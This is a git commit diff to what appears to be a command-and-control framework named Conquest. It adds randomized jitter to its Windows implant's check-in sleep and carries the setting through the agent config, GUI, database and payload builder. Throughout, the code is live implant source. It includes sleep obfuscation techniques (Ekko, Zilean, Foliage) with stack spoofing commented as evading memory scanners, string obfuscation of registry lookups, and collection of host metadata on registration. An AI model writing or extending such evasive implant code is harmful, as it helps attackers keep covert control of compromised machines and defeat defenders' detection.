Implemented jitter.

This commit is contained in:
Jakob Friedl
2025-10-23 11:14:26 +02:00
parent 51748639de
commit c6875e5eb2
17 changed files with 90 additions and 113 deletions

View File

@@ -15,6 +15,7 @@ port = 37573
# General agent settings
[agent]
sleep = 5
jitter = 15
user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
# ----------------------------------------------------------

View File

@@ -29,9 +29,12 @@ proc deserializeConfiguration(config: string): AgentCtx =
agentId: generateUUID(),
listenerId: Uuid.toString(unpacker.getUint32()),
hosts: unpacker.getDataWithLengthPrefix(),
sleep: int(unpacker.getUint32()),
sleepTechnique: cast[SleepObfuscationTechnique](unpacker.getUint8()),
spoofStack: cast[bool](unpacker.getUint8()),
sleepSettings: SleepSettings(
sleepDelay: unpacker.getUint32(),
jitter: unpacker.getUint32(),
sleepTechnique: cast[SleepObfuscationTechnique](unpacker.getUint8()),
spoofStack: cast[bool](unpacker.getUint8())
),
sessionKey: deriveSessionKey(agentKeyPair, unpacker.getByteArray(Key)),
agentPublicKey: agentKeyPair.publicKey,
profile: parseString(unpacker.getDataWithLengthPrefix())

View File

@@ -1,6 +1,6 @@
import winim/lean
import winim/inc/tlhelp32
import os, system, strformat
import os, system, strformat, random
import ./[cfg, io]
import ../../common/[types, utils, crypto]
@@ -572,15 +572,21 @@ proc sleepFoliage(apis: Apis, key, img: USTRING, sleepDelay: int) =
print "[-] ", err.msg
# Sleep obfuscation implemented in various techniques
proc sleepObfuscate*(sleepDelay: int, technique: SleepObfuscationTechnique = NONE, spoofStack: var bool = true) =
proc sleepObfuscate*(sleepSettings: SleepSettings) =
if sleepDelay == 0:
if sleepSettings.sleepDelay == 0:
return
# Initialize required API functions
let apis = initApis()
print fmt"[*] Sleepmask settings: Technique: {$technique}, Delay: {$sleepDelay}ms, Stack spoofing: {$spoofStack}"
# Calculate actual sleep delay with jitter
let
minDelay = float(sleepSettings.sleepDelay) - (float(sleepSettings.sleepDelay) * (float(sleepSettings.jitter) / 100.0f))
maxDelay = float(sleepSettings.sleepDelay) + (float(sleepSettings.sleepDelay) * (float(sleepSettings.jitter) / 100.0f))
delay = int(rand(minDelay .. maxDelay) * 1000)
print fmt"[*] Sleepmask settings: Technique: {$sleepSettings.sleepTechnique}, Delay: {$delay}ms, Stack spoofing: {$sleepSettings.spoofStack}"
var img: USTRING = USTRING(Length: 0)
var key: USTRING = USTRING(Length: 0)
@@ -600,12 +606,12 @@ proc sleepObfuscate*(sleepDelay: int, technique: SleepObfuscationTechnique = NON
key.Length = cast[DWORD](keyBuffer.len())
# Execute sleep obfuscation technique
case technique:
case sleepSettings.sleepTechnique:
of EKKO:
sleepEkko(apis, key, img, sleepDelay, spoofStack)
sleepEkko(apis, key, img, delay, sleepSettings.spoofStack)
of ZILEAN:
sleepZilean(apis, key, img, sleepDelay, spoofStack)
sleepZilean(apis, key, img, delay, sleepSettings.spoofStack)
of FOLIAGE:
sleepFoliage(apis, key, img, sleepDelay)
sleepFoliage(apis, key, img, delay)
of NONE:
sleep(sleepDelay)
sleep(delay)

View File

@@ -31,7 +31,7 @@ proc main() =
]#
while true:
# Sleep obfuscation to evade memory scanners
sleepObfuscate(ctx.sleep * 1000, ctx.sleepTechnique, ctx.spoofStack)
sleepObfuscate(ctx.sleepSettings)
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
print "\n", fmt"[*] [{date}] Checking in."

View File

@@ -3,7 +3,7 @@
-d:release
--opt:size
--passL:"-s" # Strip symbols, such as sensitive function names
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
-d:MODULES="511"
-d:VERBOSE="false"
-d:VERBOSE="true"
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"

View File

@@ -164,11 +164,11 @@ proc getProductType(): ProductType =
# Using the 'registry' module, we can get the exact registry value
case getUnicodeValue(protect("""SYSTEM\CurrentControlSet\Control\ProductOptions"""), protect("ProductType"), HKEY_LOCAL_MACHINE)
of "WinNT":
of protect("WinNT"):
return WORKSTATION
of "ServerNT":
of protect("ServerNT"):
return SERVER
of "LanmanNT":
of protect("LanmanNT"):
return DC
proc getOSVersion(): string =
@@ -218,7 +218,8 @@ proc collectAgentMetadata*(ctx: AgentCtx): AgentRegistrationData =
process: string.toBytes(getProcessExe()),
pid: cast[uint32](getProcessId()),
isElevated: cast[uint8](isElevated()),
sleep: cast[uint32](ctx.sleep),
sleep: cast[uint32](ctx.sleepSettings.sleepDelay),
jitter: cast[uint32](ctx.sleepSettings.jitter),
modules: cast[uint32](MODULES)
)
)
@@ -239,6 +240,7 @@ proc serializeRegistrationData*(ctx: AgentCtx, data: var AgentRegistrationData):
.add(data.metadata.pid)
.add(data.metadata.isElevated)
.add(data.metadata.sleep)
.add(data.metadata.jitter)
.add(data.metadata.modules)
let metadata = packer.pack()

View File

@@ -38,14 +38,7 @@ proc sendAgentBuild*(connection: WsConnection, buildInformation: AgentBuildInfor
let event = Event(
eventType: CLIENT_AGENT_BUILD,
timestamp: now().toTime().toUnix(),
data: %*{
"listenerId": buildInformation.listenerId,
"sleepDelay": buildInformation.sleepDelay,
"sleepTechnique": cast[uint8](buildInformation.sleepTechnique),
"spoofStack": buildInformation.spoofStack,
"verbose": buildInformation.verbose,
"modules": buildInformation.modules
}
data: %buildInformation
)
connection.ws.sendEvent(event, connection.sessionKey)

View File

@@ -149,7 +149,7 @@ proc callback(data: ptr ImGuiInputTextCallbackData): cint {.cdecl.} =
proc displayHelp(component: ConsoleComponent) =
for module in getModules(component.agent.modules):
for cmd in module.commands:
component.console.addItem(LOG_OUTPUT, " * " & cmd.name.alignLeft(15) & cmd.description)
component.console.addItem(LOG_OUTPUT, " * " & cmd.name.alignLeft(25) & cmd.description)
proc displayCommandHelp(component: ConsoleComponent, command: Command) =
var usage = command.name & " " & command.arguments.mapIt(

View File

@@ -9,7 +9,8 @@ export addItem
type
AgentModalComponent* = ref object of RootObj
listener: int32
sleepDelay: uint32
sleepDelay: uint32
jitter: int32
sleepMask: int32
spoofStack: bool
verbose: bool
@@ -22,6 +23,7 @@ proc AgentModal*(): AgentModalComponent =
result = new AgentModalComponent
result.listener = 0
result.sleepDelay = 5
result.jitter = 15
result.sleepMask = 0
result.spoofStack = false
result.verbose = false
@@ -45,6 +47,7 @@ proc AgentModal*(): AgentModalComponent =
proc resetModalValues*(component: AgentModalComponent) =
component.listener = 0
component.sleepDelay = 5
component.jitter = 15
component.sleepMask = 0
component.spoofStack = false
component.verbose = false
@@ -86,6 +89,12 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui
igSetNextItemWidth(availableSize.x)
igInputScalar("##InputSleepDelay", ImGuiDataType_U32.int32, addr component.sleepDelay, addr step, nil, "%hu", ImGui_InputTextFlags_CharsDecimal.int32)
# Jitter
igText("Jitter: ")
igSameLine(0.0f, textSpacing)
igSetNextItemWidth(availableSize.x)
igSliderInt("##InputJitter", addr component.jitter, 0, 100, "%d%%", ImGui_SliderFlags_None.int32)
# Agent sleep obfuscation technique dropdown selection
igText("Sleep mask: ")
igSameLine(0.0f, textSpacing)
@@ -145,9 +154,12 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui
result = AgentBuildInformation(
listenerId: listeners[component.listener].listenerId,
sleepDelay: component.sleepDelay,
sleepTechnique: cast[SleepObfuscationTechnique](component.sleepMask),
spoofStack: component.spoofStack,
sleepSettings: SleepSettings(
sleepDelay: component.sleepDelay,
jitter: cast[uint32](component.jitter),
sleepTechnique: cast[SleepObfuscationTechnique](component.sleepMask),
spoofStack: component.spoofStack
),
verbose: component.verbose,
modules: modules
)

View File

@@ -185,6 +185,7 @@ type
pid*: uint32
isElevated*: uint8
sleep*: uint32
jitter*: uint32
modules*: uint32
AgentRegistrationData* = object
@@ -208,6 +209,7 @@ type
pid*: int
elevated*: bool
sleep*: int
jitter*: int
tasks*: seq[Task]
modules*: uint32
firstCheckin*: int64
@@ -229,6 +231,7 @@ type
pid*: int
elevated*: bool
sleep*: int
jitter*: int
modules*: uint32
firstCheckin*: int64
latestCheckin*: int64
@@ -312,13 +315,17 @@ type
profile*: Profile
client*: WsConnection
SleepSettings* = ref object
sleepDelay*: uint32
jitter*: uint32
sleepTechnique*: SleepObfuscationTechnique
spoofStack*: bool
AgentCtx* = ref object
agentId*: string
listenerId*: string
hosts*: string
sleep*: int
sleepTechnique*: SleepObfuscationTechnique
spoofStack*: bool
sleepSettings*: SleepSettings
sessionKey*: Key
agentPublicKey*: Key
profile*: Profile
@@ -357,10 +364,8 @@ type
items*: seq[ConsoleItem]
AgentBuildInformation* = ref object
listenerId*: string
sleepDelay*: uint32
sleepTechnique*: SleepObfuscationTechnique
spoofStack*: bool
listenerId*: string
sleepSettings*: SleepSettings
verbose*: bool
modules*: uint32

View File

@@ -50,11 +50,11 @@ when defined(agent):
try:
# Parse task parameter
let delay = int(Bytes.toUint32(task.args[0].data))
let delay = Bytes.toUint32(task.args[0].data)
# Updating sleep in agent context
print fmt" [>] Setting sleep delay to {delay} seconds."
ctx.sleep = delay
ctx.sleepSettings.sleepDelay = delay
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
@@ -69,21 +69,21 @@ when defined(agent):
case int(task.argCount):
of 0:
# Retrieve sleepmask settings
let response = fmt"Sleepmask settings: Technique: {$ctx.sleepTechnique}, Delay: {$ctx.sleep}ms, Stack spoofing: {$ctx.spoofStack}"
let response = fmt"Sleepmask settings: Technique: {$ctx.sleepSettings.sleepTechnique}, Delay: {$ctx.sleepSettings.sleepDelay}ms, Jitter: {$ctx.sleepSettings.jitter}, Stack spoofing: {$ctx.sleepSettings.spoofStack}"
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(response))
of 1:
# Only set the sleepmask technique
let technique = parseEnum[SleepObfuscationTechnique](Bytes.toString(task.args[0].data).toUpperAscii())
ctx.sleepTechnique = technique
ctx.sleepSettings.sleepTechnique = technique
else:
# Set sleepmask technique and stack-spoofing configuration
let technique = parseEnum[SleepObfuscationTechnique](Bytes.toString(task.args[0].data).toUpperAscii())
ctx.sleepTechnique = technique
ctx.sleepSettings.sleepTechnique = technique
let spoofStack = cast[bool](task.args[1].data[0]) # BOOLEAN values are just 1 byte
ctx.spoofStack = spoofStack
ctx.sleepSettings.spoofStack = spoofStack
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])

View File

@@ -7,7 +7,7 @@ import ../../common/[types, utils, serialize, crypto]
const PLACEHOLDER = "PLACEHOLDER"
proc serializeConfiguration(cq: Conquest, listener: Listener, sleep: int, sleepTechnique: SleepObfuscationTechnique, spoofStack: bool): seq[byte] =
proc serializeConfiguration(cq: Conquest, listener: Listener, sleepSettings: SleepSettings): seq[byte] =
var packer = Packer.init()
@@ -19,9 +19,10 @@ proc serializeConfiguration(cq: Conquest, listener: Listener, sleep: int, sleepT
packer.addDataWithLengthPrefix(string.toBytes(listener.hosts))
# Sleep settings
packer.add(uint32(sleep))
packer.add(uint8(sleepTechnique))
packer.add(uint8(spoofStack))
packer.add(sleepSettings.sleepDelay)
packer.add(sleepSettings.jitter)
packer.add(uint8(sleepSettings.sleepTechnique))
packer.add(uint8(sleepSettings.spoofStack))
# Public key for key exchange
packer.addData(cq.keyPair.publicKey)
@@ -147,18 +148,18 @@ proc patch(cq: Conquest, unpatchedExePath: string, configuration: seq[byte]): se
return @[]
# Agent generation
proc agentBuild*(cq: Conquest, listenerId: string, sleepDelay: int, sleepTechnique: SleepObfuscationTechnique, spoofStack: bool, verbose: bool, modules: uint32): seq[byte] =
proc agentBuild*(cq: Conquest, agentBuildInformation: AgentBuildInformation): seq[byte] =
# Verify that listener exists
if not cq.dbListenerExists(listenerId.toUpperAscii):
cq.error(fmt"Listener {listenerId.toUpperAscii} does not exist.")
if not cq.dbListenerExists(agentBuildInformation.listenerId):
cq.error(fmt"Listener {agentBuildInformation.listenerId} does not exist.")
return
let listener = cq.listeners[listenerId.toUpperAscii]
let listener = cq.listeners[agentBuildInformation.listenerId]
var config = cq.serializeConfiguration(listener, sleepDelay, sleepTechnique, spoofStack)
var config = cq.serializeConfiguration(listener, agentBuildInformation.sleepSettings)
let unpatchedExePath = cq.compile(config.len, modules, verbose)
let unpatchedExePath = cq.compile(config.len(), agentBuildInformation.modules, agentBuildInformation.verbose)
if unpatchedExePath.isEmptyOrWhitespace():
return

View File

@@ -108,6 +108,7 @@ proc deserializeNewAgent*(cq: Conquest, data: seq[byte], remoteAddress: string):
pid = unpacker.getUint32()
isElevated = unpacker.getUint8()
sleep = unpacker.getUint32()
jitter = unpacker.getUint32()
modules = unpacker.getUint32()
return Agent(
@@ -124,6 +125,7 @@ proc deserializeNewAgent*(cq: Conquest, data: seq[byte], remoteAddress: string):
pid: int(pid),
elevated: isElevated != 0,
sleep: int(sleep),
jitter: int(jitter),
modules: modules,
tasks: @[],
firstCheckin: now().toTime().toUnix(),

View File

@@ -19,6 +19,7 @@ proc `%`*(agent: Agent): JsonNode =
result["pid"] = %agent.pid
result["elevated"] = %agent.elevated
result["sleep"] = %agent.sleep
result["jitter"] = %agent.jitter
result["modules"] = %agent.modules
result["firstCheckin"] = %agent.firstCheckin
result["latestCheckin"] = %agent.latestCheckin

View File

@@ -36,6 +36,7 @@ proc dbInit*(cq: Conquest) =
os TEXT NOT NULL,
elevated BOOLEAN NOT NULL,
sleep INTEGER NOT NULL,
jitter INTEGER NOT NULL,
modules INTEGER NOT NULL,
firstCheckin INTEGER NOT NULL,
latestCheckin INTEGER NOT NULL,

View File

@@ -15,9 +15,9 @@ proc dbStoreAgent*(cq: Conquest, agent: Agent): bool =
let sessionKeyBlob = agent.sessionKey.toSeq()
conquestDb.exec("""
INSERT INTO agents (agentId, listenerId, process, pid, username, impersonationToken, hostname, domain, ipInternal, ipExternal, os, elevated, sleep, modules, firstCheckin, latestCheckin, sessionKey)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?);
""", agent.agentId, agent.listenerId, agent.process, agent.pid, agent.username, agent.impersonationToken, agent.hostname, agent.domain, agent.ipInternal, agent.ipExternal, agent.os, agent.elevated, agent.sleep, agent.modules, agent.firstCheckin, agent.latestCheckin, sessionKeyBlob)
INSERT INTO agents (agentId, listenerId, process, pid, username, impersonationToken, hostname, domain, ipInternal, ipExternal, os, elevated, sleep, jitter, modules, firstCheckin, latestCheckin, sessionKey)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?);
""", agent.agentId, agent.listenerId, agent.process, agent.pid, agent.username, agent.impersonationToken, agent.hostname, agent.domain, agent.ipInternal, agent.ipExternal, agent.os, agent.elevated, agent.sleep, agent.jitter, agent.modules, agent.firstCheckin, agent.latestCheckin, sessionKeyBlob)
conquestDb.close()
except:
@@ -32,8 +32,8 @@ proc dbGetAllAgents*(cq: Conquest): seq[Agent] =
try:
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
for row in conquestDb.iterate("SELECT agentId, listenerId, sleep, process, pid, username, impersonationToken, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKey FROM agents;"):
let (agentId, listenerId, sleep, process, pid, username, impersonationToken, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKeyBlob) = row.unpack((string, string, int, string, int, string, string, string, string, string, string, string, bool, uint32, int64, int64, seq[byte]))
for row in conquestDb.iterate("SELECT agentId, listenerId, sleep, jitter, process, pid, username, impersonationToken, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKey FROM agents;"):
let (agentId, listenerId, sleep, jitter, process, pid, username, impersonationToken, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKeyBlob) = row.unpack((string, string, int, int, string, int, string, string, string, string, string, string, string, bool, uint32, int64, int64, seq[byte]))
# Convert session key blob back to array
var sessionKey: Key
@@ -47,6 +47,7 @@ proc dbGetAllAgents*(cq: Conquest): seq[Agent] =
agentId: agentId,
listenerId: listenerId,
sleep: sleep,
jitter: jitter,
pid: pid,
username: username,
impersonationToken: impersonationToken,
@@ -72,50 +73,6 @@ proc dbGetAllAgents*(cq: Conquest): seq[Agent] =
return agents
proc dbGetAllAgentsByListener*(cq: Conquest, listenerName: string): seq[Agent] =
var agents: seq[Agent] = @[]
try:
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
for row in conquestDb.iterate("SELECT agentId, listenerId, sleep, process, pid, username, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKey FROM agents WHERE listenerId = ?;", listenerName):
let (agentId, listenerId, sleep, process, pid, username, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKeyBlob) = row.unpack((string, string, int, string, int, string, string, string, string, string, string, bool, uint32, int64, int64, seq[byte]))
# Convert session key blob back to array
var sessionKey: Key
if sessionKeyBlob.len == 32:
copyMem(sessionKey[0].addr, sessionKeyBlob[0].unsafeAddr, 32)
else:
# Handle invalid session key - log error but continue
cq.warning("Invalid session key length for agent: ", agentId)
let a = Agent(
agentId: agentId,
listenerId: listenerId,
sleep: sleep,
pid: pid,
username: username,
hostname: hostname,
domain: domain,
ipInternal: ipInternal,
ipExternal: ipExternal,
os: os,
elevated: elevated,
firstCheckin: cast[int64](firstCheckin),
latestCheckin: cast[int64](firstCheckin),
process: process,
modules: cast[uint32](modules),
sessionKey: sessionKey,
tasks: @[] # Initialize empty tasks
)
agents.add(a)
conquestDb.close()
except:
cq.error(getCurrentExceptionMsg())
return agents
proc dbDeleteAgentByName*(cq: Conquest, agentId: string): bool =
try:
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)

View File

@@ -91,15 +91,8 @@ proc websocketHandler(ws: WebSocket, event: WebSocketEvent, message: Message) {.
cq.listenerStop(listenerId)
of CLIENT_AGENT_BUILD:
let
listenerId = event.data["listenerId"].getStr()
sleepDelay = event.data["sleepDelay"].getInt()
sleepTechnique = cast[SleepObfuscationTechnique](event.data["sleepTechnique"].getInt())
spoofStack = event.data["spoofStack"].getBool()
verbose = event.data["verbose"].getBool()
modules = cast[uint32](event.data["modules"].getInt())
let payload = cq.agentBuild(listenerId, sleepDelay, sleepTechnique, spoofStack, verbose, modules)
let agentBuildInformation = event.data.to(AgentBuildInformation)
let payload = cq.agentBuild(agentBuildInformation)
if payload.len() != 0:
cq.client.sendAgentPayload(payload)